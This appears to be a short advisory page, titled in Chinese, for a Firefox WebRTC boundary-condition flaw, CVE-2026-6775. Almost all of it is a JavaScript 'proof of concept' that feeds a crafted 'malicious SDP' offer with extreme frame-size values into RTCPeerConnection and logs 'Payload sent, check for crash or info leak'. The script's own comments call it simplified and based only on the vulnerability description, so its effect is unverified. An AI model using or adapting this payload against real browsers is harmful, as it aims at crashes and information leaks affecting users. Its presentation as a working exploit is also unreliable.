CVE-2026-6775 Firefox WebRTC边界条件错误漏洞

/* * Conceptual Proof of Concept for CVE-2026-6775 * This script attempts to trigger the WebRTC boundary condition vulnerability. * Note: This is a simplified example based on the vulnerability description. */ // Create a PeerConnection object const pc = new RTCPeerConnection(); // Create a data channel to interact with WebRTC internals const dataChannel = pc.createDataChannel("testChannel"); // Craft a malicious SDP (Session Description Protocol) offer // that attempts to hit the incorrect boundary condition in the parser. // Adjusting parameters to extreme values might trigger the check failure. const maliciousSDP = ` v=0 o=- 0 0 IN IP4 127.0.0.1 s=- c=IN IP4 127.0.0.1 t=0 0 m=video 9 RTP/AVP 96 a=rtpmap:96 VP8/90000 a=fmtp:96 max-fr=999999; max-fs=999999; `; try { // Set the remote description to the crafted payload pc.setRemoteDescription(new RTCSessionDescription({ type: 'offer', sdp: maliciousSDP })).then(() => { console.log("[+] Payload sent, check for crash or info leak"); }).catch(e => { console.log("[-] Failed to set remote description:", e); }); } catch (error) { console.log("[-] Exception thrown:", error); }